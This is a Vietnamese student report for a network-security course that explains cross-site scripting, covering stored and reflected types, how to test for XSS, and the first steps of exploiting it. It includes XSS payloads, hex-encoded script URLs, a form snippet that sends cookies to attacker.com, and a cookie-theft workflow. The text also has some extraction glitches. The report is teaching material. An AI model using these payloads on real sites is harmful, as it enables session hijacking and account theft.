Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.. Thông thường hacker lợi dụng địa
Trang 1BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG
KỸ THUẬT TẤN CÔNG XSS
Giảng viên hướng dẫn : ThS LÊ PHÚC Sinh viên thực hiện : TRẦN ĐÌNH NGỌC MãSV: 407170045
Lớp : D07THM1
Trang 2Mục lục
I GIỚI THIỆU CHUNG 4
II GIỚI THIỆU VỀ XSS 5
1 Tìm hiểu XSS 5
2 Hai hình thức tồn tại của XSS 5
2.1 Stored XSS 5
2.2 Reflected XSS 6
3 Mức độ nguy hiểm của XSS 7
4 Mục tiêu mà XSS hướng tới 8
III.HOẠT ĐỘNG CỦA XSS 9
IV.CẢNH GIÁC VỚI XSS 12
V KIỂM TRA LỖI XSS 14
1 Sử dụng Tool 14
2 Thử bằng Code 14
VI KHAI THÁC LỖI XSS 16
1.Tóm tắt các bước thực hiện 17
2 Các cách thực hiện 18
2.1 Nghiên cứu cách lấy cookies: 18
2.2.Nghiên cứu cách lấy account 18
2.3 Tấn Công XSS Bằng Flash 19
3 Attacker dùng XSS để lừa đảo 22
4 Cách vượt qua cơ chế lọc ký tự 22
Trang 3VII PHÒNG CHỐNG XSS 23
1 Với những dữ liệu người thiết kế và phát triển ứng dụng Web 23
2 Đối với người dùng 26 VIII PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƯƠNG PHÁP TẤN CÔNG BẰNG XSS 27
IX ĐÁNH GIÁ 27 TÀI LIỆU THAM KHẢO: 28
Trang 4
Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới Và hầu hết các website này dùng Cookie để xác thực người dùng
Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được Cookie người dùng nào Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy hiểm) Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thường dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS)
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS
XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những công việc sau:
1 Thay đổi cấu trúc của toàn bộ trang web
Trang 5II GIỚI THIỆU VỀ XSS
1 Tìm hiểu XSS
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn
mã script nguy hiểm có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu, usename… Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML
và cũng có thể là cả các thẻ HTML
Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng
Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript,
JavaScript…được thực thi trên chính trình duyệt của nạn nhân
2 Hai hình thức tồn tại của XSS
2.1 Stored XSS
Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website
Trang 7Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript như ăn cắp cookie, chèn mã độc để chiến quyền điều khiển…
XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này
Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn đã được xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách
gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS)
Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của người dùng
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
3 Mức độ nguy hiểm của XSS
Theo thống kê về các lỗ hổng bảo mật thường bị tấn công nhất vào năm 2009
Trang 8Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác
Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình Một phương pháp tối ưu vẫn còn đang ở phía trước
4 Mục tiêu mà XSS hướng tới
XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây:
* Truy cập thông tin nhạy cảm hoặc bị hạn chế
* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)
* Theo dõi thói quen lướt web của người dùng
* Thay đổi năng của trình duyệt
* Bôi nhọ danh tiếng của một cá nhân hay công ty
* Hủy hoại ứng dụng Web
* Tấn công từ chối dịch vụ
Trang 9
III.HOẠT ĐỘNG CỦA XSS
XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực hiện trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay chèn virus…
Thường thì XSS có dạng như sau:
http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>
Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟
Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng
Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:
<a href= "javascript#[code]">
Trang 10<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([liên kết to code]);">
<div style="binding: url([liên kết to code]);">
<div style="width: expression([code]);">
http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin
Về cơ bản XSS cũng giống như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server
Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là :
http://www.example.com/search.cgi?query=<script>alert('XSS was found
!');</script>
Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !"
Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối
Trang 11với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng
đó vẫn chỉ tấn công vào bề mặt của website
Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server
Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm
Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên ngưới dùng khó mà phát hiện ra Sau đây là cách mã hoá(HEX) các kí tự thường dùng trong lỗi XSS của thanh AddressBar của Browser
Trang 12Ví dụ 3: Một địa chỉ đã đƣợc mã hóa HEX
http://vieclambank.com/search.php?s=">%3C%73%63%72%69%70%74%20%73%72%63%25%33%44%68%74%74%70%25%33%41%25%32%46%25%32%46%6A
%73%6E%67%6F%63%2E%76%6E%6E%2E%6D%73%25%32%46%78%73%73
%2E%6A%73%3E%3C%25%32%46%73%63%72%69%70%74%3E
IV.CẢNH GIÁC VỚI XSS
Có lẽ không cần liệt kê những nguy hiểm của XSS, nhƣng trên thực tế nếu bạn
có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa Thật vậy bạn hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó
Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các lệnh HTML đƣợc hiển thị Ví dụ nhƣ BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:
Trang 13bị mất cookie của mình:
<form action="http://attacker.com/save.asp" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value =
document.cookie; window.document.XSS.submit();" src="none.jpg">
Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của bạn mà không cần biết mật khẩu của bạn Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ IMG Tuy nhiên cho tới ngày 12/7/2003 Yahoo
đã kịp thời vá lỗ hồng nghiêm trọng này, nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website Nếu như bạn gặp một liên kết có dạng:
http://example.com/s document.cookie)</script>
Chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào Có thể là sẽ tắt JavaScript cho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác Nhưng nếu bạn gặp một liên kết như thế này thì sao:
http://example.com/s 72%79%3D<script>
Trang 14Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như bạn mất cảnh giác với XSS
Tất nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được tìm ra có những kiều chưa lường hết được, những trong khuôn khổ bài viết này tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS
V KIỂM TRA LỖI XSS
Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn
có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên Trong trường hợp này bạn cần đến các chương trình scanner tự động Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là
những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows
Và chúng ta có thể đưa ra hai cách chính sau:
Bước 1: Mở website cần kiểm tra
Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS 1 Site bất kỳ bao giờ cũng có
Trang 15các phần: Search, error message, web form Chủ yếu lỗi XSS nằm ở phần này, nói chung XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau
đó nhận được một cái gì đó Ví dụ chúng ta nhập vào chuỗi „XSS‟
Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các
thông tin trả về Ví dụ chúng ta thấy thế này: „Không tìm thấy XSS…‟ , hay là
„Tài khoản XSS không chính xác‟, „Đăng nhập với XSS không thành công‟… thì khi đó khả năng chỗ đó bị dính XSS là rất cao
Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn
những đoạn code của chúng ta vào để thử tiếp, ví dụ như sau:
Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút
Submit, nếu chúng ta nhận được một popup có chữ „XSS‟ thì 100% bị dính XSS
Ta có thể nhập vào form lỗi các thẻ sau:
Trang 16Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem
Khi view sources nhớ kiếm dòng này < script>alert('XSS)< /script> , nếu có thì chắc chắn là website đó lỗi XSS 100%
Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://websitebiloi.com/index.php?page=<script < script=""> nghĩa là
ta có thể chèn code ngay trên thanh ADDRESS
Bước 5: Lên kế hoạch kịch bản tấn công
VI KHAI THÁC LỖI XSS
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người dùng!
Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứng dụng thiết lập
ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó
Sau đây là các bước khai thác XSS theo truyền thống:
Trang 171.Tóm tắt các bước thực hiện
Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ
hỏng XSS
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web
(như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…) Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ
của hacker
Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng